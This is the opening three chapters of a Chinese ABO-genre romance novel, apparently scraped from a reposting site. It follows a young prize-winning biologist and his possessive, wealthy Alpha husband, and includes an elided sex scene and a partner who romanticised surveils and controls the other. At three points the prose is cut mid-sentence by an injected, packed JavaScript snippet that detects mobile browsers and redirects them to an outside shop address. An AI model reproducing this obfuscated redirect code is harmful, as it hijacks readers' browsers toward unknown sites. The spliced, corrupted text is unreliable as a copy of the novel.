《专属人体抑制剂》 1. Chapter 1 正版首发晋江文学城 作者/sheepsea 三月初,春寒料峭。 A市一连下了几天雨,充足的雨露将土壤浸泡湿软,终于在一周的尾声堪堪放晴。霁色蓝天,积云松松散散地浮动,北风催发新芽。 郁歆云点了杯美式,在靠窗的位置坐下。 这位置是他的偏爱,天晴时阳光洒落,是阅读或静坐的不二选择。远眺能隐约望到A市地标级商业大厦的玻璃幕墙,近看则是行人三两,山樱花缀满枝头。 郁歆云举起手机,对着楼底按下拍摄键,挑选了几张,把图片同时发给了两个置顶联系人。 第一个联系人发完后没有附加消息,郁歆云点开第二个聊天框,打字:妈妈,今天天气很好。樱花开了。 还加了一个花朵的emoji。 两人或许在忙,没有很快回复。 郁歆云便把手机搁在桌面上,继续看着面前的一角天地。 "郁。" 正端着杯子出神时,肩膀忽然被人轻轻碰了一下。 转过头,一个beta正站在他身后。这是隔壁课题组的组长,名叫唐安,今年三十出头,却长了张显小的娃娃脸,日常行事又有些温吞,被学生私下取代号为树懒。 唐安同样端着一杯饮品,不过是热拿铁,抬起手和他碰了个杯:“怎么不喝点热乎的?” 郁歆云微微扬了扬嘴角,弧度很淡,甚至不能称之为笑,只是神色柔和了点。不过唐安早已习惯,此人就是雪一样的性情,出了名的漂亮,也是出了名的难接近,仿佛玉雕成的壁人,只能远远观赏,无法亲近红尘。 再加上传言郁歆云有个背景深厚、手段了得的Alpha男友,一般人也不敢乱了分寸。唐安和他算旧相识,之前一起做过同一个课题,平日里也只有他敢偶尔和郁歆云开点玩笑。 他们一群人私下里还有比赛,看看谁能逗郁歆云一笑。唐安是目前公认获胜可能性最大的人选。 唐安掀开盖子喝了一口,陶醉地眯起眼:“带学生不容易吧?比自己做实验麻烦多了。” 郁歆云十八岁时拿到了IBO(国际生物奥林匹克竞赛)金奖,二十二岁在顶刊发表一作文章,去年顺利斩获了尤德尔奖,成为了目前最年轻的获奖人。 履历漂亮得让所有人艳羡,一路堪称顺风顺水,今年不过二十四岁,便作为Junior PI,独立带着课题组。 只要认识他的人,都会不禁感叹一句,这是一个绝无仅有的天才。 而这个天才目前只有二十四岁。 就算是世界上最蠢笨、最鼠目寸光的人,也能轻易知晓此人未来的学术生涯该会有多么光辉灿烂。 两人正靠在吧台上随意谈天,一个Alpha恰巧经过,余光瞥见那张芙蓉玉面时愣了一下,脚步立刻放缓了,开口打了声招呼:“老师。” 郁歆云虽然年纪不大,但平时在研究室不苟言笑,对于实验专注到有些苛刻的地步,因此学生在面对他时,难免会有些拘谨。 不过Alpha话说完,很快又扬起嘴角,露出一个灿烂朝气的微笑,随后才把目光移向一旁的Beta身上:“唐老师也在。” 这个Alpha是这周新进组的博士生,名叫章宇。 郁歆云只微微点头,唐安倒是随口接了一句:“实验做完了吗?这个时候在外面游荡。” 章宇举起双手做投降状,苦笑道:“午饭还没来得及吃,来买点东西垫垫肚子。” 有学生在场,不好再继续深入地聊些什么,两人很快离开位置,准备下午院里的会议材料。 章宇点单完折返回来,位置已经空了,只不过方才郁歆云待着的地方,落了部手机。 恰在此时,屏幕忽然亮起,铃声充斥着周围。 章宇愣了一下。 席恒来电。 章宇看着上面连名带姓、十分正式的备注,拿上手机,快步离开吧台,边走边喊:“老师,你的电话——” 然而刚迈步到走廊,定睛一看,郁歆云和唐安刚好坐着电梯离开了。 铃声依旧锲而不舍地响着,敲动着神经,路过的人有些疑惑地朝他投来视线。 章宇复又低下头,看向手中仍旧亮着的屏幕,犹豫着。 . “那人原先在临市,现在调到我们这边。”唐安说:“听说就是他把你那个学生……叫什么章鱼来着,安排过来的。” 他将手指放在感应处验证指纹,继续讲:“到哪里都有人情世故,就算天天在实验室里待着,也早晚要习惯。” 郁歆云一边听,脑海里却在游神,忽然想起还未收到两个人的消息回复。一摸口袋,却摸了个空,稍一回想,才反应过来手机似乎落下了。 刚打算回去拿,身后一阵略显凌乱的脚步声传来,章宇以最快的速度地赶到郁歆云面前,把手机递给他,讲话时还有些喘:“老、老师,你的手机。” 唐安停了话头,郁歆云伸手接过手机,刚要道谢,然而下一秒,章宇却开口:“老师,对不起,刚才有个电话,我看你不在,就接了。” 郁歆云动作一顿。一旁的唐安也看了过来,目光有些诧异。 “……”章宇视线下意识闪躲,也知道自己的举动不太妥当:“对不起老师,我不应该随便接你的电话。不过对方没说什么就挂了。” 在一片沉默中,章宇越发惴惴不安,还想继续说些什么挽救:“老师……” 郁歆云回过神,把手机放进口袋:“没事。你继续做实验吧。” 语气虽然没有多大变化,却依旧给人一种不容置喙的命令感,章宇只好走了。 等到对方彻底离开,唐安才开口:“糟了,你的Alpha会生气吗?” 郁歆云进入研究院的这段时间,和唐安最为熟悉,对方对于他有一个脾气似乎不怎么样的恋人这件事有些了解。 脾气不怎么样,但很有钱。 自从郁歆云进院以来,实验室便收到了席氏集团企业捐赠的核磁共振波谱仪等设备,每一个课题都会有上百万的拨款,钱如流水一样地花。 郁歆云没开口,但答案显而易见。席恒这个人向来心眼比针尖还小,有时候就算嘴上不说,吵架时必定要翻出旧账,挨个清算,这个同事、那个校友——郁歆云本人都不知道他居然认识那么多Alpha。 他原本的课题组成员不多,之前唯一的Alpha是一个女生,已经和对象领证了,预计今年结婚。席恒便勉强容忍,睁一只眼闭一只眼。 而这次章宇,却是在席恒出差时不知情的情况下进组的。 还擅自接了电话。 不用想都能猜到这人会有多么生气。 唐安同情地点点头:“AA相斥,我懂我懂。” 不过看在席恒捐赠的设备上,唐安又补充了一句:“床头打架床尾和,小年轻,没什么不能解决的。” 他拍了拍郁歆云的肩头,先一步离开。 唐安没有和席恒实际接触过,他本人又是Beta,对于信息素之类的东西不以为意,因此不太能理解Alpha身上那种堪称病态的独占欲。 郁歆云在原地沉默了一会儿,直到其他PI和他打招呼,才若无其事地往会议室走去。 . 郁歆云从研究院出来时,天色微微擦黑。PI加班做课题赶实验是常态,经常会为取样或者采集早到迟退,准时下班倒显得罕见,更何况席恒不在家,郁歆云没有必要这么早回去赶门禁。 但也许是因为这段时间连续的实验使他精力耗尽大半,今日收集完最后一次数据后,难得想要早些回去休息。 唐安说得对,带学生比做实验本身耗费精力多了。 颇具现代化科技感的阔气大门前,一辆卡宴低调地停在侧方,旁人已经见怪不怪。郁歆云开门上车,肩膀靠在椅背上时,无声地卸了一口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444319|201086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>点开手机聊天框,下午席恒在他发完图片后的第五分钟回了消息:在开会。 [老公]:好漂亮。宝宝,想看你。 电话应该是开完会打的,通话记录只有十几秒,席恒大概是一听到Alpha的声音就挂断了。 郁歆云按灭手机,偏过头,默默地看着窗外不断掠过的街景。 司机也察觉到了他神色中的疲惫,打了声招呼后便安静驾驶,不再叨扰。 车辆行驶平稳,将外界的噪音隔绝在车厢外,伴随着轻柔的音乐声,郁歆云很快闭上眼睛,脑袋靠在车窗上,就这样小憩了一会儿。 迷迷糊糊中,车忽然停下。郁歆云半梦半醒,还以为到家了。然而随后后座的车门被打开,外界的冷空气随之流入车厢,这微微的冷意让郁歆云察觉不对,他睁开眼睛,一个男人正要上车,身上的黑色西装剪裁良好,鼻梁高挺,眼窝深邃,双眼沉沉如潭水。 郁歆云一怔:“小恒?” 话一出口,他便迅速改了昵称:“老公。” 席恒在大学时便逐渐接管公司事务,最近在忙一桩收购案,几天前出差,郁歆云原以为他周末才回来。 不过郁歆云立刻想起来今天那通电话,席恒大概那时是要打电话告诉他这件事,结果却被一个Alpha给接了。 郁歆云一想到这件事就头痛,恨不得刚才继续睡着。 然而醒都醒了,也不好继续装睡,反正早晚都得面对。郁歆云心说,赶紧吵完,回家好吃饭。 席恒应了一声,坐上车后,或许是同样看出郁歆云身上的倦怠,没有过多寒暄,长臂一伸,将人揽进怀里,在Omega的额头上轻轻一吻,然后把车上的备用毯子给他披在身上,并未抬头,对司机道:“最近下雨天冷,睡觉时记得提醒他盖毯子。” 司机不由得挺直了背:“是,席先生。” 郁歆云看了Alpha一眼,主动解释:“李叔方才把空调温度调高了,不会着凉的。” 席恒摸了摸他的手背,没说什么,把毯子给怀里的人掖好,拍了拍他的背,让他继续睡。 “现在不困了。”郁歆云说,不知道想到什么,他的表情变得有些尴尬,小声道:“一会儿别把我抱回去。” 之前也有过一次,郁歆云在车上睡着了,到家后席恒并未叫醒他,而是直接把人打横抱起,从车里抱回房间。 郁歆云半路上醒来,发现自己居然在席恒怀里,刚好在楼梯上,又不好挣扎着下来,只好把脸往席恒身上一埋,假装自己还未醒,不愿去看周遭的佣人是什么表情。 眼下这么一说,席恒明显也想起来了,和郁歆云的尴尬不同,他脸上的表情微微松动,嘴角有点想上扬的意思,反而在回味。 郁歆云以为自己不困,然而也许是几天不见席恒,Alpha身上的信息素让他感到格外安心,抱着他的臂膀又是如此温暖,所以不知不觉间,很快再次陷入睡梦中,并且比先前睡得更沉。 车厢逐渐安静下来。 音乐声停了,席恒一只手臂揽住郁歆云的腰,把人牢牢抱在怀里,另一只空闲的手,则轻轻抚摸过郁歆云的嘴唇、耳朵、脸颊,玩得不亦乐乎。 真是一张漂亮得无可挑剔的脸,额头饱满,眼睫长如小扇,在眼尾投落纤长的阴影,淡粉色的唇瓣似在无声息地勾人一吻,即使睡着时也美得惊心动魄,仿佛童话里只能被真爱唤醒的美人。脸颊半掩在毯子毛绒绒的滚边下,更显得柔软。 席恒手臂紧了紧,在Omega的嘴角缓缓亲了一口,十分满意。 只有睡着时才会乖。 席恒见过他牙牙学语时的照片,也与十几岁时稚嫩鲜活的郁歆云日夜相伴,当你亲眼见到他时,就不得不承认,造物主竟真的如此偏爱,既给予他常人难以匹敌的聪慧,又赐予他令人一见倾心的美丽。 这是我的Omega。 席恒的心情愉悦起来。 我的哥哥。 2. Chapter 2 车经过十字路口,向右转弯。街灯亮起,商场的荧屏交替变换,斑斓光影拉长缩短,只匆匆停留。 郁歆云安静地睡在臂弯,热乎乎的一团,席恒抱着他像怀抱着一只乖巧的猫。 席恒想起中午的那通电话,眼神微沉,把作乱的手暂且收了回来。 再次凑近时,鼻尖抵在Omega的颈窝,格外仔细地辨别着。尽管带着抑制贴,但依旧能感受到浅淡而幽微的晚香玉萦绕鼻尖,齿颊生香,混杂着丁点儿实验室消毒水的气味。 ……没有别人的味道。 席恒深吸了几口,半晌才抬起头,面色稍微缓和,再次把毯子给人盖好。 仍然在睡眠中的Omega,被闷热的鼻息弄得发出一声含糊的轻吟,偏了偏脑袋。 郁歆云虽然没醒,却早就料到他会来这一招,每次下班回来前都会使用信息素清新剂。 不管席恒在不在家,已经成为了习惯,只要喷洒几下,就能去除掉身上任何可能残存的信息素气息,以免面对Alpha的盘查。 虽然郁歆云本人根本分辨不出来,再说大家无论AAOO,平时都好好地带着抑制贴,谁会突然释放信息素耍流氓。 但碍于研究院的人确实多,来来往往的,而席恒的鼻子又像狼一样灵敏。 97%的匹配度,让他们天生就能对彼此反应敏锐。 这种直觉更像天性,从科学角度讲,是腺体通过捕捉信息素,促使潜意识在大脑皮层被激活,向神经末梢发送活跃的电信号。 比如此刻,席恒在回忆十六岁的郁歆云时,郁歆云同样梦见了自己初见席恒的那一天。 在那一叠薄薄纸页签下名字后的二十四小时里,郁歆云已经记不清自己究竟是怎么从生长了十几年的地方,被轻而易举地送到席家的宅子里。 别墅宽敞又明亮,比电视剧里最夸张的装潢还要金碧辉煌,能装下好多个他和妈妈的家。高纯度的水晶吊灯晃得他睁不开眼睛,郁歆云闭了闭眼,忍住想流泪的冲动。 许多陌生的面孔来了又去,郁歆云初来乍到,身份尴尬,不认识所有人,却牢牢记得自己签下的合同、自己未来二十年的价值。 要照顾好那个Alpha。 郁歆云维持着礼貌,故作镇定,向那个穿着华贵的男孩勉强挤出一个笑:“弟弟。” 即使先前做过多次心理建设,但话开口时,音量不高,显得怯生生。 而对方只静静地看着他,自始至终未答一字。 丝毫不像十四岁的年纪该有的神情。那视线冰冷,毫无温度,看向他的目光和看一个花瓶、一幅壁画没有任何差别。 郁歆云不知道自己做错了什么,嘴角的笑逐渐僵硬,在这目光中下意识后退了一步。 头顶的吊灯开始摇晃,碰撞的声音像冬天落地的冰锥,脚下的影子一点点拉长,缠住他的脚踝。 郁歆云似有所感,缓缓睁开了眼。 周遭环境迅速褪色,梦境之外,席恒正低着头,一瞬不眨地看着他。 两张脸在梦里梦外短暂重合,十四岁的席恒飞快褪去青涩的轮廓,抽枝拔节,逐渐成为二十二岁的成年Alpha的硬朗模样。 见他醒了,那张过分英俊的年轻面孔很快低头贴近,大地男士香水混杂着Alpha木质沉香的信息素铺面而来,两人短暂地接了个吻。 郁歆云睡得浑身发热,落到嘴唇上的吻却依旧烫得他眼睫轻轻一颤,下意识要躲,但被困在怀里,无处可逃,只能往席恒身上蹭了蹭,下意识看向前座。 席恒知道他脸皮薄,车后座的挡板早就升起来,为彼此隔出绝对安全的空间,因此郁歆云瞥了一眼挡板,也就随他去了。 这一吻浅尝辄止,席恒亲完后没立刻离开,而是继续用唇瓣贴着他的面颊低语:“还要睡吗?” 声音很轻,半哄半问。 炙热的气息微微吹动他的鬓发,郁歆云摇了摇头。 两人从车上下来。席恒为他挡风,不让他取下毯子,直到进了屋里,才一起将外套脱下递给佣人。 从机场回来差不多四十分钟,郁歆云看了眼时间,发现自己睡了将近一小时。 这一小时的睡眠驱散了他身上大半的疲惫,肢体又逐渐恢复了力气,在沙发上坐下后,他接过佣人递来的热茶,浅浅啜饮一口。 席恒随意地解开领带,走近沙发,垂眼看他:“是不是很累?” 郁歆云捧着杯子静了片刻,随后轻轻地摇了摇头。 灯光从头顶悠悠洒落,郁歆云生得白,一头如墨的黑发更加衬得他整个人像一捧雪,叫人疑心是否即使是掌心的温度也会使他融化。 席恒一边欣赏,一边在心中细细评估,他不在的这几天,郁歆云有没有被照顾好。 郁歆云每日的饮食清单、起居作息、在家做了什么、说了什么话……都会被详细地发送给他。 即使这样,席恒仍旧觉得不够。 他为郁歆云得到的荣誉引以为荣,但这份事业占据了郁歆云生活中绝大部分的时间,席恒当然不敢和郁歆云直说,但他确实心有不满。 郁歆云丝毫没有察觉Alpha丰富的内心活动,见四下无人注意,便故意弯起眼睛,小声说:“想你了。老公。” 这一笑,仿佛春风拂面,冰雪消融,再冷硬的心会为随之软化。 席恒先是被这笑迷乱了眼,听清他所说的话后,喉结滚了滚,目光立刻沉了下来,俯下身想继续车上那个点到为止的亲吻。 郁歆云自然躲开了,只许他亲到嘴角,然后从沙发上起身,溜得很快,顾左右而言他:“要吃饭了。” . 晚餐摆了满桌,诱人的香气萦绕四周,郁歆云一看便知道是席恒提前吩咐安排的。 家里特地请了膳食营养师,根据雇主的相关体检报告搭配每日饮食,今晚饭桌上的菜品显然不符合那些健康比例,大多都是合郁歆云胃口的菜肴,还有家乡特色的炸丸子。 两人落座,郁歆云扫视一遍餐桌:“太多了,晚上怎么吃得完?” 一旁的佣人悄无声息,取了一瓶酒过来,正要倒酒时,席恒却又不满意:“换一瓶。” 然后又对郁歆云道:“把这几天的都补回来。” 郁歆云抬眼:“什么补回来?” 席恒同样看着他,细数:“我总共出差五天,你有一天没吃早餐,一天午饭只吃了两口,两天的晚餐没有按时吃。” 佣人从酒柜里返回,带来了一瓶度数低的果酒,打开酒塞,馥郁的果香立刻轻轻巧巧地四处散发。 似乎是察觉到餐桌上隐隐令人不安的气氛,佣人动作很快,倒完酒后,便立刻离开这片空间。 “……” “啪嗒”一声轻响,筷子被搭在碗沿。郁歆云微微蹙眉,但很快又恢复表情,轻叹了一口气,颇为无奈:“这种小事,也要叫人盯着么?” 席恒面色未变:“你的事不是小事。” 顿了顿,又补充道:“没有叫人盯着。是张姨告诉我的。” 语气多么郑重,仿佛如果席恒不在家,郁歆云这么大一个人,就会这样渐渐地饭都忘了吃,把自己饿倒。 说完后,为了缓和气氛,席恒抬起筷子,开始往郁歆云碗里夹菜。 这招还是郁歆云教他的,语言和行为相辅相成、相互作用,如果觉得开口后气氛并没有像期待中转变,那么接下来就应该用实际行动来补充表明自己的意图。 郁歆云垂下眼,看着碗里香气扑鼻的饭菜,明明都是平日里爱吃的,此刻却忽然半点食欲也无。 然而席恒是绝对不允许他就这样下桌,于是筷子重新回到手中,在碗里无意识地扒拉了两下,最后还是往嘴里送去。 “宝宝。” 出身使然,席恒这辈子就算再眼高于顶,也无需看谁的脸色,从来只有别人对他阿谀讨好的份,只需一个眼神、一次抬指,就能轻飘飘地决定别人的命运。 然而面对郁歆云,席恒已经磨练出一身察言观色的本领,郁歆云就这么一垂眼,他立刻明白对方有些不高兴,话脱口而出:“怎么不开心了?” “……没有不开心。” 空气安静了几瞬,郁歆云又叹了一口气:“而且,不是说过吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444320|201086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人如果情绪有变,不要直接问出来。” 果然不高兴了,老公也不叫了。 席恒心想。反正都这样了,他破罐子破摔,又往郁歆云碗里夹了一筷子,嘴上应得好好的:“好。” “……” 郁歆云轻轻叹了一口气,这次反而吃了。 . 晚饭结束后,两人各自上楼。 郁歆云今晚本来还打算看一会儿学生的论文,席恒一回来,这下所有事情都要往后推推。 从浴室出来后,席恒匆匆开完线上会议,闻着味就来了。 Alpha已经冲完澡,站在床前等他,手里拿着一件柔软的衣物,贴近鼻尖轻嗅。 那是郁歆云的睡衣,几天前被席恒带着一块出差。 带不走郁歆云,只能睹物思人,独守空床,闻闻睡衣上残留的晚香玉幽香。 前天晚上两人视频通话,郁歆云亲眼见证他是怎么糟蹋自己的衣服的。所以即使现在已经洗净晒干,布料上只有凝珠的清香,依旧拒绝:“我不要穿,你自己留着吧。” 席恒没有意见,乖乖叠好后放衣柜里了。 郁歆云则低头继续系睡袍的带子。脚步声接近,一双手臂从身后抱住他,覆盖在他的手背上,阻止他的举动。 两人将近一周没见,潜意识里对彼此的渴望不需要刻意挑/逗,身体便先一步被唤醒。只是这样抱住,Alpha的鼻息打到后颈的腺体上,郁歆云甚至都有些站不稳,必须依靠着身后强壮的躯体。 席恒从背后吻住那块肌肤。这气息让他着迷,无数个夜里魂牵梦绕。 “宝宝。” 席恒要他继续说刚才饭前说过的话:“这几天想我吗?” 郁歆云浑身发软,顺从地被抱着,并未拒绝,而是在对方耳边轻而柔软地回应:“嗯。” 霎时,Alpha的呼吸立刻沉重起来,两只宽大而有力的手掌开始在腰间到处游走,轻车熟路地从衣摆钻了进去。 郁歆云被翻了个身,和席恒面对面,背抵在墙上,半坐在对方大腿上。 刚刚系好的腰带此刻被人轻而易举地解/开,雪白的睡袍之下,是如玉般光滑无瑕的肌肤,不着片/缕。 “……” 郁歆云忽然软了腰,咬住下唇,不让呻吟溢出,受到刺激后无意识地挺胸,下巴抵在席恒的头顶上,手臂环绕着身前的躯体。 …… 几经折腾后,郁歆云倒在床榻上,床垫将他柔软地拖着,整个人也如同这软被一样,只能任由人鱼肉,再也生不出一点力气。 席恒轻轻托起他的下巴,在被吻得通红的嘴唇上又亲了一口:“宝宝,喜欢吗?” 还好明日不用去实验室,郁歆云真的是懒得动弹了,连话都不想讲。然而他深知要是不回答,席恒便会一直追问,于是闷闷地应了一声:“嗯。” 席恒满意地继续亲亲他,一口接一口,像是永远都不会累。 随后又开始观察Omega的表情,判断对方是不是消气了。 ……不幸的是,这目光被当事人捕捉到了。 多年相处积累经验,郁歆云一下便明白了席恒的心思。 稍一犹豫,还是选择开口。 “不是吃不吃饭的事情。”他微微偏过头,神色平静:“我不喜欢你这样。” “这样”是指哪样,两人都心知肚明。 空气一下安静下来。席恒稍微收敛了神色,沉默地和他对视。 Alpha天生带着掌控一切的气场,何况席恒做惯了上位者。然而郁歆云却丝毫不露怯,同样一言不发地回视。 对视的时间越久,表情就越冷冽。 饭桌上不算生气,这才是真的要生气了。 一片安静中,席恒先软化了态度,亲昵地蹭了蹭Omega柔软的脸颊,低声道:“我知道了,哥哥。” “嗯。” 小别重逢,郁歆云无意争吵,同样见好就收。摸了摸他的头发,像是在抚摸小狗一样奖励他,随后有气无力地道:“从我身上起开,你好重。” ……要被压扁了。 3. Chapter 3 席恒听话地往侧边躺下,手臂还搂着郁歆云的腰,顺势将人继续往怀里带。 两人赤/裸相对,郁歆云不自在地把被子扯上,席恒又要来吻他。郁歆云心想都几次了,再怎么样也应该够了,便由着他亲,只是警告道:“不能再继续了。” 他偶尔都会忍不住感叹,Alpha的精力真是好。有时候席恒晚上加班回来,草草洗漱后也要黏糊糊地贴着郁歆云。 郁歆云漫无目的地想。 如果他们有小孩的话,大概都要上幼儿园了。 “嗯。就亲一下。” 席恒嘴上答应得好好的,但郁歆云一点都不信任他,Alpha在床上的话听听就得了。 他动了动身体,想去浴室洗漱。 然而席恒动作比他更快,真的亲了一口后就停下来,把他从被子里拦腰抱起:“我知道,明天要去看阿姨。” 浴室的瓷砖蒙上一层细密的蒸汽,浴缸放好水后,席恒试了试水温。 郁歆云阻止他:“我自己来。” 席恒是停下动作了,但也没出去。反而一同进入浴缸,毫不客气地占据了相当充足的空间:“一起洗。” …… 毫无悬念,最终收拾好,躺在被窝里时,已经是又一个小时过去了。 郁歆云浑身散架般酸痛,轻轻踹了一下他的小腿:“都这么晚了,明天早上还出门吗?” Alpha万古不变的神色里似乎掺杂了几丝的心虚,把他整个人抱在怀里揉搓:“那就和阿姨说一声,下午再去。” 郁歆云重重地点了点他的额头。 席恒的手臂横在他腰间,靠近臂膀的位置隐约可见新鲜抓痕。 而留下它们的始作俑者,却把目光落在手臂中央。那里有两道划痕,一道痕迹较浅,历久经年;另一道划痕则狭长狰狞,从臂弯一直延申到后背。 席恒动动手臂,不让他看。 郁歆云顺势移开视线,安静了一会儿,问:“出差顺利吗?” “嗯。”席恒:“就是想你。” 工作对于席恒来说得心应手,他很早就在商业上展现出极大天赋,也是因此被定为席家下任继承人,同样称得上年少有为。 郁歆云靠在他胸膛,忽然又想起今天那个电话。 真是奇怪。 要是换做平时,席恒绝对忍不了,估计挂断电话后就会立刻采取行动。 动作快的话,也许当天下午章宇就会被调离研究院,扔到某个永远也见不到郁歆云的地方。 这次怎么这么安静? 郁歆云原来还有些担忧,结果一晚上过去,都快忘了这回事。 他是真的有些好奇,于是试探道:“下午我手机落下,电话刚好被学生接了。” 席恒有点不高兴他在床上提起别的Alpha:“嗯。” 郁歆云:“生气了吗?” 席恒低头看他,平静地请求意见:“那我能让他彻底消失吗?” 郁歆云立刻道:“不可以。” “好吧。”席恒亲了亲他的脸颊,很惟命是听的模样:“不想做让你不开心的事情。” 郁歆云:“……” 这么体贴,简直不像席恒会说出来的话。 郁歆云又认真地看了他一会儿,试图从中找到不对劲的地方,但席恒始终坦荡地和他对视。 折腾了一晚上,实在疲惫,郁歆云最终还是把这件事抛之脑后,在Alpha怀里沉沉睡去。 . 由于两人胡闹得实在有些晚,于是出门的时间便改到了下午。 一周工作繁忙,席恒想让郁歆云多休息会儿,早上没有刻意叫他。 因此郁歆云一睁眼,已经是上午十点了。有Alpha的信息素围绕周身,他睡得很沉,充足的睡眠令整个人神清气爽。 房间里窗帘还拉着,厚重的布料尽职尽责工作,将外界的光线遮挡得一丝不剩。 昏暗的光线里,席恒在落地灯旁边的桌子上办公,几乎是郁歆云一醒来,他立刻注意到了床上的动静,合上电脑:“宝宝,醒了?” 郁歆云在心里微微叹了一口气。 席恒快步走来,俯下身亲了他一口。郁歆云有时都怀疑席恒是否有什么肌肤渴望症,必须靠肢体接触才能缓解。 “你看。” 郁歆云任由他亲,懒洋洋地开口,拿他的话堵他:“就算你在家,我还是没有按时吃上饭。” “不一样。” 气氛很好,席恒警惕一切会带来潜在争吵的话题,便没有继续这个话头,而是把人抱起来。 郁歆云没骨头似地靠在他身上,打了个哈欠,席恒已经把今天要出门的衣服准备好了,放置床头。 他大部分的衣服都是席恒挑选的,郁歆云对奢侈品牌不是很感兴趣,席恒却对打扮他这件事情情有独钟,每次发布新品、或是季节更换,都会有一批新衣服送进衣橱,连带着配套的首饰珠宝。 郁歆云毫不怀疑,再这样下去,一百平米的衣帽间很快会被装满的。 何况郁歆云大部分时间都在研究院,觉得自己没有什么盛装出席精心打扮的必要。 但席恒对此乐此不疲,他没有必要在每件事上都和Alpha产生争执,偶尔适当地让渡出一些空间反而是更好的选择。 今天的衣服是早春新品,珍珠白的衬衫,面料会在光线下会折射出细腻微光,像粼粼水面。 郁歆云并没有看过新一期的时尚杂志,不知道定价多昂贵,却依旧能感受到其做工的精美华丽。 不得不说,席恒确实很有审美品味。 他很捧场地在席恒的嘴角亲了一口:“谢谢老公。” 驯化Alpha,不是仅靠强硬的态度,还需要适当的顺从、亲吻、夸奖。 席恒果然扬了扬嘴角,周身散发出愉悦的气息。 衣服换好了,席恒却又叫住他,然后把一个盒子拿出,为他带上项链。 这条项链郁歆云之前没见过,是席恒出差带回来的礼物。 银色的细链闪着碎光,一颗剔透纯净的蓝宝石恰到好处地躺在锁骨窝里,每一个角度都能看到璀璨的火彩,漂亮得令人移不开眼睛。 郁歆云还要细看,席恒却在他额头轻轻一吻:“宝宝,吃饭了。下午还要出门,阿姨在等着呢。” . 郁歆云的母亲患病多年,一直在接受治疗,多次手术后,病情得到阶段性控制,只是还需要定期复查,按时用药。 郁歆云走进门时,病床上的人正低头看着手中的电子设备,由于过于投入,连有人进门了都没有察觉。 太过瘦弱,柔软的家居服穿在她身上,显得有些空荡荡。 郁歆云在床沿坐下:“妈妈,今天感觉怎么样?” 余光中瞥见手机上的画面,作为当事人,再熟悉不过——那是去年他得奖时的视频。 “小云。” 郁雅薇看见来人,脸上立即被微笑填满,眼角漾起皱纹。她伸出手,抚摸着郁歆云的脸颊:“妈妈很好。工作累不累?” 她喃喃自语:“我的小云一眨眼,已经长这么大了。” 郁歆云任由母亲动作,微微垂下眼,然后握住她的手,露出一个笑。 席恒跟在郁歆云身后,把礼盒轻轻放在床头柜上。 郁雅薇也朝他一笑。 注意到那个包装精美的礼盒,她目光一凝,然后轻轻叹了一口气:“不用再带东西来了。我一个人,能吃得下多少呢?你们年轻人才应该多补补。” “你看。”郁雅薇看着自己的宝贝,片刻摇了摇头,满是心疼:“瘦了。” “是瘦了。”席恒给几人倒水,趁机告状:“总是不好好吃饭。” 郁歆云皱起眉,在郁雅薇低头喝水的间隙,朝席恒使了个眼色,叫他不要乱讲话。 席恒和他对视片刻,见好就收,揽住郁歆云的肩膀:“阿姨,有我看着他呢。放心。” 几人聊了会儿天,郁歆云借口去洗手间,离开病房。 席恒知道他是去找医生了解郁雅薇的情况,于是坐在椅子上,和郁雅薇闲聊。 郁雅薇最关心的还是郁歆云,绕来绕去也绕不开,问他的工作、同事如何,平日生活怎样,又叹了一口气:“这孩子总是报喜不报忧,我放心不下。” 动作间不小心碰到手机屏幕,方才暂停的视频随即接着播放。 席恒安静下来,和她一同观看。 视频里掌声雷动,万众瞩目下,一个清瘦的身影缓缓踏上领奖台。 即使被点到名字时,脸上也没有出现剧烈的狂喜,宠辱不惊,淡然地在媒体的闪光灯下接过奖杯。 有人说他持才傲物,孤高轻狂;有人说他国色天香,也许投身演艺圈同样是不二选择:有人说他后生可畏,年少得志,晚年或许江郎才尽。 但一切声音,都掩盖不了郁歆云年纪轻轻便获奖的事实。 A市和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444321|201086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞典远隔万里,需要多次转机。郁雅薇由于身体原因,无法长途奔波,亲自到场,当天是在病床上看现场直播。 视频播完,席恒见她下意识又一次把进度条拖到开头,动作熟练,不知道看了多少遍,忽然开口:“阿姨。” 郁雅薇转头看向他。 “郁歆云极具天赋。”席恒缓缓道:“他还是学生时,所有教导过他的老师都这么说。” 席恒顿了顿:“这绝对不会是他最后一个奖杯。下一次颁奖时,我来为你们录像。” 郁雅薇一愣,随后脸上泛起笑意:“你这孩子……” . 傍晚,三人在医院一起吃饭,郁歆云把母亲扶到餐桌。人多热闹,郁雅薇的脸色明显红润了不少。 有长辈在,这下席恒总算可以肆无忌惮地给郁歆云夹菜,后者不敢不吃,否则就是坐实了“不好好吃饭”的罪名。 “够了没?” 